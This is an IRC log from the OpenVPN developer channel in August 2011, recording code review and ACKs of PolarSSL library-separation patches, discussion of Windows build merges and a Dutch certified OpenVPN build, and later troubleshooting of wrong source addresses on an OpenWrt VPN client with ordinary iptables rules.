<@uuuppz> :) 08:09 * novaflash is doing nothing i should be doing 08:10 < novaflash> for some reason i am still quite busy doing a lot of things 08:10 <@uuuppz> familiar to me :) 08:10 <@uuuppz> if I was going to code.... 08:10 <@uuuppz> I would do the following:- 08:11 <@uuuppz> 1) basic encryption and encoding moved into a module (.so/dll/lib whatever) 08:11 <@uuuppz> just as a simple library of calls 08:12 <@uuuppz> 2) Build seperate client using modules from 1) 08:12 <@uuuppz> 3) Build seperate server from 1) 08:13 <@uuuppz> this first split imo is key, as they are very different concerns, the main sharing is just protocol 08:13 <@uuuppz> the server itself 08:14 <@uuuppz> should focus purely on handling lots of connections as efficiently as possible and providing basic routing 08:14 <@uuuppz> to deal with auth and configuration 08:14 <@uuuppz> is where ZeroMQ could come into play. 08:15 <@uuuppz> and 08:15 <@uuuppz> where I could break out of c 08:15 <@uuuppz> and goto my beloved c# ;) 08:29 < novaflash> c# is so outdated 08:29 < novaflash> i'm using f# 08:29 <@uuuppz> you are? 08:29 <@uuuppz> actually my favourite language 08:30 < novaflash> involves a lot of cussing? ;) 08:30 <@uuuppz> actually no 08:30 <@uuuppz> its good for your soul 08:31 < novaflash> well i have to go deliver a laptop to its new owner and do some other real-world things. so... until later. 09:02 <@mattock> dazo: maybe unofficial meeting today? sort out your patch queue maybe? 09:02 -!- Netsplit *.net <-> *.split quits: @uuuppz 09:07 -!- Netsplit over, joins: @uuuppz 09:08 <@dazo> mattock: that sounds good to me 09:09 <@mattock> I'll send an announcement to openvpn-devel, in case somebody wishes to make sure his/her patches get merged 09:09 <@mattock> at 18:00 UTC? 09:10 <@dazo> yupp 09:10 <@dazo> 1 hour max, though 09:10 <@mattock> ok 09:36 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2011-08-25 09:36 <@vpnHelper> Title: Topics-2011-08-25 – OpenVPN Community (at community.openvpn.net) 09:47 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 10:40 -!- uuuppz [~uuuppz@213.79.53.61] has quit [] 10:41 -!- uuuppz [~uuuppz@213.79.53.61] has joined #openvpn-devel 10:41 -!- mode/#openvpn-devel [+o uuuppz] by ChanServ 11:27 <@andj> mattock: no polar patches? 12:12 <@mattock> andj: didn't realize you were available (asked a couple of times) 12:12 <@mattock> but sure, we can take care of some polar stuff, too 12:15 <@andj> mattock: my fault, was completely focussed on work 12:15 <@andj> :) 12:17 <@andj> anyway, I'm available if you guys have time 12:17 <@mattock> andj: no problem, just mailed james 12:17 <@andj> Otherwise I'd hereby like to explicitly state that I'm available next week and the week after that :) 12:17 <@mattock> nice! 12:17 <@mattock> I'll go chill out for a while an will be back in ~30 12:18 <@andj> I'll be there areound then 12:18 <@andj> chilling as well 12:18 <@mattock> topic list updated 12:18 <@mattock> if James can't make it, perhaps we could see if there's something others (e.g. dazo) can ACK with confidence 12:19 <@andj> indeed... If no one else is interested I'm ok with that too, just don't want to lose any momentum :) 12:23 <@dazo> ahh, andj is here ... well, we have a patch queue which is beginning to smell a bit too ... I'd like to get an overview if we've fixed the winbuild stuff, and then we can have a look at some of the polar patches which isn't too hefty ... like the some of the SSL library separation patches 12:23 * cron2_ has completely lost track of pending patches :( 12:24 <@cron2_> (but I can go through my e-mail heap and see if there's something tell-tale in there) 12:27 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn-devel [] 12:28 <@dazo> this is a quick overview of my patch queue, excluding the patches from andj 12:58 <@mattock> james is attending, too 12:58 <@mattock> maybe we could begin a little ahead of time? 12:58 <@mattock> as in now 12:59 <@cron2_> no way 12:59 <@andj> present 12:59 * cron2_ will argue the point for at least 60 seconds! 12:59 -!- cron2_ is now known as cron2 12:59 <@andj> hi everyone :) 12:59 <@cron2> mattock: go ahead! 13:00 <@dazo> hehe 13:00 <@andj> 15 seconds early, cron2 :) 13:00 * cron2 wants to demonstrate a constructive approach to things! 13:00 <@mattock> mkay 13:01 <@mattock> so, topics here: https://community.openvpn.net/openvpn/wiki/Topics-2011-08-25?version=2 13:01 <@vpnHelper> Title: Topics-2011-08-25 – OpenVPN Community (at community.openvpn.net) 13:01 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:01 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:01 <@mattock> hi jamesyonan! 13:01 <@andj> evning 13:01 <@andj> +e 13:01 <@mattock> we were just starting 13:01 <@jamesyonan> Hi all 13:01 <@cron2> hi james 13:01 <@mattock> jamesyonan: topics here: https://community.openvpn.net/openvpn/wiki/Topics-2011-08-25 13:01 <@vpnHelper> Title: Topics-2011-08-25 – OpenVPN Community (at community.openvpn.net) 13:02 <@mattock> dazo: you got only ~1 hours, so should we start with quick review of your patch queue? 13:02 <@cron2> I think the biggest outstanding batch is winbuildfix 13:03 <@mattock> cron2: I think that's now in order 13:03 <@cron2> has it been merged? 13:03 <@cron2> and tested? 13:03 <@mattock> emphasis on _think_ :D 13:03 <@mattock> dazo: did you already merge the patches I mentioned today? 13:04 <@dazo> nope, not yet 13:04 <@dazo> I can do some tests on that now .... 13:04 <@dazo> mattock: did you paste a link somewhere? 13:05 <@mattock> nope, I pasted the headers to a private chat 13:05 <@dazo> duh! 13:05 <@mattock> I can email the patches to you if you want 13:05 <@dazo> no wonder I didn't catch it in the chat log here :) 13:06 <@mattock> andj: which SSL patches should we cover (later) today? 13:06 <@dazo> okay, I have tried these patches, and they didn't apply cleanly at all 13:06 <@mattock> hmm 13:06 <@mattock> whitespace? 13:06 <@dazo> <mattock> [PATCH 1/2] Additional Visual Studio 2008 build fixes to tun.c 13:06 <@dazo> <mattock> [PATCH 2/2] Fixed a typo in win32.h that prevented building with Visual ... 13:07 <@andj> mattock: the separation ones, starting at the topo 13:07 <@dazo> the latter one, might have been fixed somewhere else along the road, but haven't had time to check it out 13:07 <@andj> *top 13:07 <@mattock> andj: ok, I'll update the topic list to reflect that 13:09 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2011-08-25 13:09 <@vpnHelper> Title: Topics-2011-08-25 – OpenVPN Community (at community.openvpn.net) 13:10 <@mattock> dazo: maybe the first patch fails because of svn merger 13:10 <@dazo> mattock: I don't think I've applied any of the patches in tmp/winbuildfix to master 13:10 <@mattock> oh yes, part of those are still in tmp/winbuildfix 13:10 <@dazo> yeah 13:10 <@mattock> forgot about that 13:10 * dazo too 13:11 <@cron2> dazo: please do :) 13:11 <@mattock> can you see which apply cleanly, and I'll rebase the rest against latest "master"? 13:12 <@dazo> I'll have a look at it now, as this is pretty tricky ... a "simple" merge gave a few conflicts ... rebasing might be a nightmare as well 13:12 <@mattock> dazo: ok 13:13 <@mattock> do you think it'll take a while... meaning, should we start reviewing the PolarSSL patches in parallel? 13:14 <@dazo> yeah, do that .... 13:14 <@mattock> andj: the stage is yours :D 13:14 <@dazo> it won't take that long ... but as this is fresh in my head now :) 13:14 <@andj> ok, getting the first one out :) 13:14 <@mattock> and jamesyonan's, too :P 13:15 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/46e7d0b6ae89634e70686bf48bfcdca07249f829 13:15 <@vpnHelper> Title: Commit 46e7d0b6ae89634e70686bf48bfcdca07249f829 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:15 <@andj> Is simple 13:15 <@cron2> dazo: it shouldn't be that hard. the route.c one might conflict, but that should be fairly easy to solve out (or just ask :) ) 13:15 <@andj> only adds stubs 13:15 <@dazo> cron2: yeah ... there are this patch we were missing from JJO which conflicts, it seems ... I'm rebasing winbuildfix against the new merged master first 13:16 <@cron2> ah, the #ifdef PF_INET6 stuff. That's big, and is going to conflict a lot on route.c :( 13:16 * dazo pays attention to andj's discussion as well with half an eye 13:17 * andj is catching up on diffs of diffs in the background 13:17 <@andj> but the first patch is pretty much trivial :) 13:17 <@cron2> andj: looks ok to me 13:18 <@andj> ok, the next on is initialisation functions: https://github.com/andj/openvpn-ssl-refactoring/commit/ad858d74599484b3f0d4ee16ffa645e098978a1d 13:18 <@vpnHelper> Title: Commit ad858d74599484b3f0d4ee16ffa645e098978a1d to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:18 <@andj> and for that patch, I mad a diff between the additions and the removals: https://gist.github.com/1140049 13:18 <@vpnHelper> Title: andj's gist: 1140049 Gist (at gist.github.com) 13:18 <@andj> so you can see what actually changed codewise 13:19 <@andj> note that the main change is the movement of the crypto initialisation to the crypto library init function 13:19 <@andj> (the CRYPTO_MDEBUG stuff already got acked there) 13:20 <@cron2> I was about to ask about the CRYPTO_MDEBUG stuff :) 13:20 <@cron2> the rest looks good -> ack 13:21 <@andj> ok, since we have the luxury of multiple reviewers, shall I move on after the first ack? 13:21 <@andj> :) 13:21 <@dazo> hah! one minor conflict in mtcp.c and route.c ... and 2 of mattocks patches applied cleanly 13:21 <@andj> or wait? 13:21 <@andj> dazo: nice 13:21 <@mattock> cron2: you're very effective today :P 13:22 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/d58b991030ff321dd107e81a400a1e2e1a82bfea 13:22 <@vpnHelper> Title: Commit d58b991030ff321dd107e81a400a1e2e1a82bfea to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:22 <@andj> This one applies the crypto separation stuff 13:22 <@andj> to ssl.c 13:22 <@cron2> mattock: those have been trivial code move-a-round's, no need to understand crypto here 13:22 <@andj> ensuring that the library independent-backend is used 13:22 <@cron2> mattock: you're keeping track of the ACKs? 13:22 <@andj> instead of OepnSSL 13:22 <@mattock> cron2: naturally 13:22 <@andj> OpenSSL 13:22 <@andj> nice :) 13:23 <@cron2> andj: I'm a bit confused about Al_len here 13:24 <@andj> OpenSSL passes it back in -  HMAC_Final(&ctx,A1,&A1_len); 3651 13:24 <@andj> But Polar doesn't 13:24 <@andj> Since the length of the hash is predictable 13:24 <@cron2> aaah 13:24 <@andj> You don't need to get it passed back 13:24 <@cron2> ok, understood 13:25 <@mattock> a small sidenote... once again, we have a Scientific Linux 6.0 buildslave/cross-compiling environment 13:26 <@andj> I've been playing with build slaves at work 13:26 <@andj> for the dutch-official version of OpenVPN 13:26 < novaflash> hey 13:26 <@mattock> the previous one got destroyed by mistake (was assumed dead, because pings were blocked by iptables) 13:26 < novaflash> dutch official version? neat. 13:26 <@mattock> andj: cool! 13:26 <@cron2> mattock: you really need to stop filtering ICMP :-) 13:26 <@andj> novaflash: in the works, a government certified version 13:26 <@mattock> cron2: yeah... 13:26 <@cron2> andj: cool 13:26 < novaflash> andj; interested! 13:27 <@andj> novaflash: I'll explain after the meeting :) 13:27 < novaflash> k 13:27 * cron2 feels a bit uneasy about the current patch 13:27 <@andj> TLS PRF one? 13:28 <@cron2> the one waiting for an ACK right now :) 13:28 <@mattock> jamesyonan: any comments on https://github.com/andj/openvpn-ssl-refactoring/commit/d58b991030ff321dd107e81a400a1e2e1a82bfea 13:28 <@vpnHelper> Title: Commit d58b991030ff321dd107e81a400a1e2e1a82bfea to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:28 <@andj> because of all the crypto stuff? 13:28 <@cron2> it looks simple enough, but I've never worked with any SSL library, so I'm not sure what to keep an eye on 13:28 <@jamesyonan> looking at it... 13:29 <@andj> aha 13:29 <@cron2> andj: where are the hmac_ctx_* functions defined? Do you have a link for those? 13:29 <@andj> sure, just a sec 13:29 <@cron2> (so I can just look at the implementation for openssl, and compare) 13:30 <@andj> They're in here: https://github.com/andj/openvpn-ssl-refactoring/blob/master/crypto_openssl.c 13:30 <@vpnHelper> Title: crypto_openssl.c at master from andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:30 <@andj> https://github.com/andj/openvpn-ssl-refactoring/blob/master/crypto_openssl.c#L747 to be exact 13:30 <@vpnHelper> Title: crypto_openssl.c at master from andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:31 <@jamesyonan> the good thing about TLS PRF function is that if you break it, the connection is almost guaranteed not to negotiate 13:31 <@andj> jamesyonan: my tests also involve PolarSSL <-> OpenSSL comms 13:32 <@andj> which should catch that sort of thing too 13:32 <@cron2> andj: looks good to me 13:32 <@mattock> jamesyonan: ACK from you too? 13:32 <@jamesyonan> yes 13:33 <@andj> ok, next one is a straightforward move 13:33 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/84a1af2ca444672ef3dcd9488c49e16b22f7646e 13:33 <@vpnHelper> Title: Commit 84a1af2ca444672ef3dcd9488c49e16b22f7646e to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:33 <@andj> https://gist.github.com/1171317 13:33 <@vpnHelper> Title: andj's gist: 1171317 Gist (at gist.github.com) 13:33 <@andj> shows no changes :) 13:33 <@cron2> ack, then :) 13:33 * dazo is back 13:34 <@jamesyonan> looks good 13:34 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/4f5b4ca58d2a16d1d0a88701b260da5a24f1bb99 13:34 <@vpnHelper> Title: Commit 4f5b4ca58d2a16d1d0a88701b260da5a24f1bb99 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:34 <@vpnHelper> RSS Update - testtrac: Fixed a typo in win32.h that prevented building with Visual Studio <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=b9a13c7a0446fdd46ef834ad0de30a25cba89e74> || Additional Visual Studio 2008 build fixes to tun.c <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=c5534a7dde9d209cb68cbf4340f87e08b450862a> || USE_PF_INET6 by def 13:34 <@andj> another move: https://gist.github.com/1171319 13:34 <@vpnHelper> Title: andj's gist: 1171319 Gist (at gist.github.com) 13:34 <@andj> shows the 0 difference 13:35 <@cron2> ack 13:35 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/7b0aaa1b779aca13c3d4f4ad36d32cf800cfec06 needs a slightly closer eye as some stuff got split 13:35 <@vpnHelper> Title: Commit 7b0aaa1b779aca13c3d4f4ad36d32cf800cfec06 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:35 <@andj> into multiple files 13:35 <@andj> s/files/functions/ 13:40 <@cron2> as far as I can see, it's ok, but I'd want someone with more crypto to second-check 13:41 <@jamesyonan> yeah, it looks pretty straightforward to me 13:41 <@andj> cool: straightforward: https://github.com/andj/openvpn-ssl-refactoring/commit/47031a84fc2d27e03439ff29baa8f66b6f2794bf 13:41 <@vpnHelper> Title: Commit 47031a84fc2d27e03439ff29baa8f66b6f2794bf to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:41 <@mattock> I take that as an ACK... 13:43 <@andj> That one moves stuff together, ensuring that it can be extracted into a function later 13:43 <@cron2> ack 13:43 <@jamesyonan> looks good 13:44 <@andj> DH params: https://github.com/andj/openvpn-ssl-refactoring/commit/ab64efc6d3d85b901c0b65794a07ecaba046f376 13:44 <@vpnHelper> Title: Commit ab64efc6d3d85b901c0b65794a07ecaba046f376 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:44 <@andj> and a diff of diffs to make it less scary: https://gist.github.com/1171329 13:44 <@andj> :) 13:44 <@vpnHelper> Title: andj's gist: 1171329 Gist (at gist.github.com) 13:45 <@cron2> looks good (the gist thing helps :) ) 13:46 <@andj> cron2: yeah, I was surprised at its effectiveness 13:46 <@cron2> andj: what do you use for automated testing? 13:46 <@andj> I have a jenkins setup running 13:46 <@andj> and some custom tools from my employer 13:47 <@cron2> do you do "just unit tests" or "full client<->server connection plus data transfer" tests? 13:47 <@andj> I'm mostly testing crypto, but I do need a simple client-server connection for that 13:48 <@andj> As unit testing this core is still tricky 13:48 <@cron2> indeed :) 13:48 <@andj> mostly due to error.h having a lot of dependencies 13:50 <@cron2> ok, back to the patches... 13:52 <@andj> ok, the DH one is again reasonably strightforward 13:52 <@andj> or did you already ack that one? :) 13:52 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/9bb4886227f17d9a5f770294d7953555e7554b13 13:52 <@vpnHelper> Title: Commit 9bb4886227f17d9a5f770294d7953555e7554b13 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:52 <@andj> and a gist at https://gist.github.com/1171335 13:52 <@mattock> andj: it's marked as acked :) 13:52 <@vpnHelper> Title: andj's gist: 1171335 Gist (at gist.github.com) 13:53 <@cron2> ack :) 13:54 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/b598dc77bb01e900926fe1c897fab3fca87c1499 13:54 <@vpnHelper> Title: Commit b598dc77bb01e900926fe1c897fab3fca87c1499 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:54 <@andj> PKCS12 13:54 <@andj> https://gist.github.com/1171346 13:54 <@vpnHelper> Title: andj's gist: 1171346 Gist (at gist.github.com) 13:54 <@andj> nostly options-> disappearing 13:58 <@cron2> I have no idea what that code does, but the move looks harmless 13:59 <@mattock> jamesyonan: what do you think? 13:59 <@andj> The code loads a PKCS#12 key, which is a combined CA + certificate + private key 14:01 <@jamesyonan> looks okay to me 14:01 <@andj> PKCS#11: https://github.com/andj/openvpn-ssl-refactoring/commit/2751963b9860a1a1fc82dec4851b11ddafac031e 14:01 <@vpnHelper> Title: Commit 2751963b9860a1a1fc82dec4851b11ddafac031e to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:01 <@andj> and a gist 14:01 <@andj> https://gist.github.com/1171494 14:01 <@vpnHelper> Title: andj's gist: 1171494 Gist (at gist.github.com) 14:02 <@andj> although the gist isn't that useful here 14:03 <@andj> most of the code here is "load this using the OpenSSL API" :) 14:03 <@cron2> there is somewhat of a structural change with the "else" branch moving around 14:04 <@andj> not in the original commit 14:04 <@andj> it's a diff artifact 14:04 <@cron2> oh? 14:04 <@andj> oh wait 14:04 <@andj> no 14:04 <@cron2> ah, I see 14:04 <@cron2> the old code was 14:04 <@cron2> else 14:04 <@cron2> { 14:04 <@cron2> if(...) ... 14:04 <@cron2> } 14:04 <@cron2> while the new one is 14:05 <@cron2> else if (...) ... 14:05 <@andj> yeah, just cleaned it up a little to show that it was a longer set of subclauses 14:05 <@andj> if ( A ) load A 14:05 <@cron2> ok 14:05 <@andj> else if (B) load B 14:05 <@andj> etc 14:05 <@cron2> I needed to construct more of the "final view" in my head to see how things changed 14:05 <@andj> windows cert: https://github.com/andj/openvpn-ssl-refactoring/commit/6cd93220509346eb2701188cbb8ca6e77451b494 14:05 <@vpnHelper> Title: Commit 6cd93220509346eb2701188cbb8ca6e77451b494 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:06 <@andj> no gist because it's sort of irrelevent for a single line :) 14:06 <@cron2> I didn't say "ACK" yet :) - but ACK to the previous one, then 14:06 <@andj> sorry, misunderstood the ok :) 14:06 <@andj> take all the time you need, verification is important :) 14:07 <@cron2> ack 14:07 <@cron2> (and I think I'm done for today, no more brains left) 14:07 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/df9b63c5c0b3333d7171e76dd3dab87b9274cbf8 14:07 <@vpnHelper> Title: Commit df9b63c5c0b3333d7171e76dd3dab87b9274cbf8 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:07 <@cron2> tireless, merciless... 14:07 <@andj> I was already typing, sorry :) 14:08 <@andj> We can call it a day, unless someone else wants to take over 14:08 <@cron2> that one is too much for me for today *yawn* 14:08 <@cron2> (sorry) 14:08 <@andj> besides, we need to get back to dazo 14:08 <@andj> cron2: no problem, happy enough we got half way 14:08 * cron2 shakes dazo "heh, time to wake up"! 14:09 <@dazo> hehe ... as the speed was optimal, I just kept quiet :) 14:09 <@andj> otherwise I can give a status update on the dutch openvpn thing I spoke about a few weeks ago 14:09 <@cron2> so how's your merge going? 14:09 <@mattock> dazo: how did winbuildfix merge go? 14:09 <@andj> ok, moving that to the end of the meeting 14:09 <@cron2> mattock: *5* ;-) 14:09 <@dazo> mattock: I've pushed out a new master 14:09 < novaflash> andj; ping 14:09 <@mattock> updated the topic page, see the ~10 patches on top... https://community.openvpn.net/openvpn/wiki/Topics-2011-08-25 14:09 <@vpnHelper> Title: Topics-2011-08-25 – OpenVPN Community (at community.openvpn.net) 14:09 <@mattock> however, I don't think we can cover them today 14:09 <@mattock> next meeting perhaps 14:10 <@dazo> re: winbuild stuff ... I *think* we've merged in everything needed, including the last outstanding patches into master branches now 14:10 <@dazo> so if someone can try some windows builds now, that'd be great! 14:10 * cron2 points at mattock :) 14:10 <@cron2> that was the primary goal, make the python build succeed on master 14:10 <@dazo> yupp! 14:11 <@cron2> if that's done for good now, we can revisit mingw and fix what broke in the process 14:11 * cron2 has a mingw VM and should be able to find time next week to try building there 14:11 <@dazo> cool! 14:11 * andj has a half-finished CMakeLists.txt 14:11 <@cron2> *shiver* 14:11 <@dazo> anyhow, I need to split now ... but will follow up stuff tomorrow again 14:12 * cron2 has a strong dislike for any sort of automated build tool thing (mostly they just add new build dependencies because you need to get that damn tool up and running in the first place) 14:12 <@cron2> dazo: g'night 14:12 * cron2 needs to split off as well -> spend time with $wife 14:12 <@andj> cron2: was just playing with it 14:12 <@mattock> dazo: bye! 14:12 <@andj> me too in a minute, if the meeting is over, I'll give an update on the openvpn-nl thing 14:12 <@mattock> cron2: could you check the last few ACKs on topic page 14:13 <@mattock> to make sure I interpreted your ACKs correctly :) 14:13 <@mattock> sorry, PolarSSL page 14:13 <@mattock> https://community.openvpn.net/openvpn/wiki/PolarSSLintegration 14:13 <@vpnHelper> Title: PolarSSLintegration – OpenVPN Community (at community.openvpn.net) 14:13 <@cron2> mattock: ack :) 14:13 <@mattock> cron2: ok 14:14 <@mattock> jamesyonan, andj: still energy for a few more polarssl patches, or continue in another meeting? 14:14 <@andj> I'm always rearing to go :) 14:14 <@mattock> there are quite a few to cover still: https://community.openvpn.net/openvpn/wiki/PolarSSLintegration?version=45#SSLlibraryseparation 14:14 <@vpnHelper> Title: PolarSSLintegration – OpenVPN Community (at community.openvpn.net) 14:14 <@jamesyonan> I would rather do later if possible 14:15 <@mattock> ok 14:15 <@andj> ok, let's continue next week then 14:15 <@andj> novaflash: the polarssl integration patches started with a request from the dutch national communications security agency (NLNCSA) for help with a certified version of OpenVPN 14:15 <@mattock> good progress today! 14:15 <@andj> indeed :) 14:16 <@mattock> it'll take 3-4 meetings to get the rest ACKed 14:16 < novaflash> andj; cool. that probably means there will be a translation to dutch then. 14:16 <@andj> no, not necessarily 14:16 <@andj> it mostly had to do with the crypto, and security 14:17 < novaflash> and polarssl is... better? than openssl? 14:17 <@andj> the version will be probably be released without the gui 14:17 <@andj> simpler, therefore easier to evaluate 14:17 < novaflash> ah i see 14:18 <@mattock> ok, I got to go now... will write the summary tomorrow morning 14:18 <@andj> anyway for it to be government-approved, it needs to be compiled by a trusted party 14:18 <@andj> mattock cya! 14:18 <@mattock> good night all! 14:18 < novaflash> bye mattock 14:18 <@andj> so we're going to have a sight with an "openvpn-nl" version on it, precompiled 14:19 <@andj> with an approved set of binaries 14:19 < novaflash> that's bureaucracy 14:19 < novaflash> ;) 14:19 < novaflash> we're good at bureaucraZy here. 14:20 <@andj> where would that be? :) 14:20 < novaflash> the netherlands of course ;) 14:21 <@andj> anyway, should be a good thing for use of OpenVPN within the government and open source in general 14:21 <@andj> it's the first open source product to go through a formal evaluation here afaik 14:22 <@andj> and it's good for the OpenVPN code base, so everyone wins :) 14:22 < novaflash> yeah, sounds good 14:22 < novaflash> i mean 14:22 < novaflash> this way government agencies will now take a serious look at it instead of dismissing it because it doesn't meet the 'criteria' 14:22 < novaflash> now there's certification so all is good 14:22 <@andj> It's actually certified to meet the criteria now :) 14:22 <@andj> well not yet 14:23 <@andj> it will be 14:23 <@andj> (I hope) 14:23 < novaflash> haha 14:23 < novaflash> good. 14:23 <@andj> anyway, heading off 14:23 < novaflash> kidoki 14:23 < novaflash> ciao 14:23 <@andj> cya 14:28 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 14:28 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:49 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 15:46 -!- dazo is now known as dazo_afk 16:46 -!- uuuppz [~uuuppz@213.79.53.61] has quit [Quit: Nettalk6 - www.ntalk.de] 16:47 -!- uuuppz [~uuuppz@213.79.53.61] has joined #openvpn-devel 16:47 -!- mode/#openvpn-devel [+o uuuppz] by ChanServ 19:58 -!- uuuppz [~uuuppz@213.79.53.61] has quit [Ping timeout: 264 seconds] 21:53 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:53 -!- mode/#openvpn-devel [+v krzie] by ChanServ 22:13 <+krzie> did you guys know webos comes with openvpn in the os? 22:13 <+krzie> (those $100 hp tablets) 22:18 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 22:58 <+krzie> http://forums.openvpn.net/topic8663.html#p15032 22:58 <@vpnHelper> Title: OpenVPN Support Forum OS X Lion: CommonCrypto and OpenVPN : Testing branch (at forums.openvpn.net) 23:00 <+krzie> wow jan broke 1000 posts, hes a machine! --- Day changed Fri Aug 26 2011 01:42 -!- dazo_afk is now known as dazo 02:16 <@mattock> krzie: re: janjust: I second that 02:16 <@mattock> :D 02:19 <@dazo> krzie: maybe change the "I should be on the dev team." line to "forum bot" 02:21 <+krzie> i like that better 02:23 <+krzie> im getting the weirdest problem, and i know it cant be openvpn's fault, ive seen the problem a ton of times, never seen it solved tho 02:23 <+krzie> sometimes a client will send traffic over the vpn with src address of its eth0 02:23 <+krzie> instead of its vpn ip 02:24 <+krzie> resulting in MULTI errors unless the client happens to also be sharing his lan 02:24 <@dazo> sounds like some failing NAT or some weird routing 02:24 <+krzie> heres the kicker 02:25 <+krzie> its openwrt, im generating IDENTICAL firmwares (except the .key / .crt) 02:25 <+krzie> only sometimes does it happen 02:25 <+krzie> and so far ive only seen 1 router do it 02:26 <+krzie> and theres a couple of these routers already 02:31 <@dazo> and the routers are identical as well? (model/brand) 02:32 <+krzie> yep 02:32 <+krzie> down to revision being the same 02:32 <+krzie> (on purpose, i automated the making of them and have my partner doing it now) 02:32 <+krzie> and he knows 0 about computers (lawyer) 02:35 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 02:35 -!- mode/#openvpn-devel [+v janjust] by ChanServ 02:36 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Client Quit] 02:37 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 02:37 -!- mode/#openvpn-devel [+v janjust] by ChanServ 02:38 <+janjust> OK krzie 02:39 <+janjust> so a dd-wrt *client* is sending the wrong IP over the VPN link 02:39 <+krzie> and only happens sometimes 02:39 <+janjust> any idea on what kind of traffic? port number? 02:39 <+janjust> you could, for debugging purposes, set up an 'iroute' for this particular client, so that the traffic is allowed 02:39 <+janjust> might be interesting to see what kind of traffic it is 02:40 <+krzie> well SIP is the only thing going over the vpn, but at that point not even the ATA was plugged in 02:40 <+krzie> part of the time at least 02:41 <+janjust> hehe OK; but still, part of the "mystery" is what kind of traffic it is 02:41 <+krzie> got ya 02:41 <+krzie> so next time it happens i will iroute and sniff some 02:41 <+janjust> is it spurious traffic from the dd-wrt itself? is it malformed SIP traffic? is somebody trying spoofing? 02:42 <+janjust> could be any of those 02:42 <+janjust> hmmm and I thought this only happened on windows clients with windows file sharing traffic 02:42 <+krzie> oh and i forgot to mention, the router is plugged into another router natting it 02:42 <+krzie> nah ive seen it on linux a number of times 02:42 <+krzie> never me tho 02:43 <@cron2> the extra NAT should not do harm (it's not happening to the packets *in* the tunnel) 02:44 <+janjust> but how is SIP traffic forwarded? is NATting done on the SIP traffic before it enters the tunnel? 02:44 <+janjust> or is that part of another subnet? 02:44 <+krzie> yes 02:44 <+krzie> 1sec 02:45 <+janjust> so if the NATting on the SIP traffic fails to set the right source IP address (which would be an iptables natting bug, I think) then you'd also see this 02:45 <+krzie> iptables -t nat -I POSTROUTING -s 10.7.69.0/24 -o tun0 -j MASQUERADE 02:45 <+krzie> iptables -I FORWARD -i tun+ -j ACCEPT 02:45 <+krzie> iptables -I FORWARD -o tun+ -j ACCEPT 02:45 <+krzie> 10.7.69.0 is lan subnet ATA is on 02:45 <+krzie> voip sees vpn ip 02:45 <+janjust> got it 02:46 <+krzie> except when that MULTI error strikes, then there is no voip 02:46 <+janjust> you could also try adding 'iptables -I FORWARD -o tun+ -s ! <VPN IP range> -j LOG 02:47 <+janjust> i.e. log all traffic being stuffed into the tunnel that does not have it source address set to the VPN range 02:48 <+krzie> oo nice 02:48 <+janjust> no need for 'iroutes' in that case 02:49 <+krzie> iroute will be the easier way tho, easier access to the server than the clients 02:50 <+janjust> true ; if you want it to "just work" then you could also consider DROPping this traffic 02:50 <+janjust> i.e. only traffic with source address = VPN IP is allowed in 02:51 <+janjust> just thought of something: can you check if there are multiple routing tables on the ddwrt box? 02:51 <+krzie> but in that case when whatever triggers it to send with bad src happens, it will just drop all packets and not give me the error to know why the client cant connect 02:52 <+janjust> yes, you'd never get to the bottom of this , that's why I added "just work" : it would annoy the heck out of me that I wouldn't know what was causing this 02:53 <+krzie> oh sweet 02:53 <+krzie> i *can* log into these remotely 02:54 <+krzie> i got a multi error last time i tried, thought that i wouldnt be able to get in 02:54 <+krzie> how would i check for multiple routing tables? 02:54 <+janjust> ip rule show 02:55 <+krzie> root@OpenWrt:~# ip rule show 02:55 <+krzie> -ash: ip: not found 02:55 <+janjust> you should see something like 02:55 <+janjust> 0: from all lookup local 02:55 <+krzie> busybox 02:55 <+janjust> 32766: from all lookup main 02:55 <+janjust> 32767: from all lookup default 02:55 <+janjust> ah.... no /sbin/ip or iproute2? 02:55 <+krzie> neg 02:55 <+janjust> bleh, then I'm not sure how you could check it, I'm not even sure if the kernel would support multiple routing tables 02:56 <+krzie> ip<tabtab> 02:56 <+krzie> root@OpenWrt:~# ip 02:56 